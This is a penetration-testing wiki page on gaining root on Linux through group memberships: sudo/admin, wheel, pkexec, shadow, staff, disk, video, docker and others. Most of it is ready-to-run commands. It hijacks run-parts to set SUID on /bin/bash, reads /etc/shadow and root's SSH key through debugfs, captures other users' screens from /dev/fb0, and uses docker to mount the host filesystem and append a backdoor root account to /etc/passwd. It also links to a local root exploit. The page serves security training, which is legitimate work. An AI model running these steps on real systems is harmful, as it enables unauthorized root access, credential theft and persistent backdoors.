# Interesting Groups - Linux Privesc {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Sudo/Admin Groups ### **PE - Method 1** **Sometimes**, **by default (or because some software needs it)** inside the **/etc/sudoers** file you can find some of these lines: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. If this is the case, to **become root you can just execute**: ``` sudo su ``` ### PE - Method 2 Find all suid binaries and check if there is the binary **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. To **become root you can execute**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` If you try to execute **pkexec** and you get this **error**: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` **It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: {% code title="session1" %} ```bash echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` {% endcode %} {% code title="session2" %} ```bash pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` {% endcode %} ## Wheel Group **Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: ``` %wheel ALL=(ALL:ALL) ALL ``` This means that **any user that belongs to the group wheel can execute anything as sudo**. If this is the case, to **become root you can just execute**: ``` sudo su ``` ## Shadow Group Users from the **group shadow** can **read** the **/etc/shadow** file: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` So, read the file and try to **crack some hashes**. ## Staff Group **staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` If we can hijack some programs in `/usr/local`, we can easy to get root. Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` or When a new ssh session login. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] 2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted] 2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted] 2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d 2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` **Exploit** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts #! /bin/bash chmod 4777 /bin/bash # 0x2 Don't forget to add a execute permission $ chmod +x /usr/local/bin/run-parts # 0x3 start a new ssh sesstion to trigger the run-parts program # 0x4 check premission for `u+s` $ ls -la /bin/bash -rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash # 0x5 root it $ /bin/bash -p ``` ## Disk Group This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. Files:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 debugfs: cd /root debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. ## Video Group Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: ![](<../../../.gitbook/assets/image (463).png>) Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): ![](<../../../.gitbook/assets/image (317).png>) ## Root Group It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... **Check which files root members can modify**: ```bash find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. ```bash docker image #Get images from the docker service #Get a shell inside a docker container with access as root to the filesystem docker run -it --rm -v /:/mnt chroot /mnt bash #If you want full access from the host, create a backdoor in the passwd file echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: {% content-ref url="../docker-security/" %} [docker-security](../docker-security/) {% endcontent-ref %} If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} ## lxc/lxd Group {% content-ref url="./" %} [.](./) {% endcontent-ref %} ## Adm Group Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. ## Auth group Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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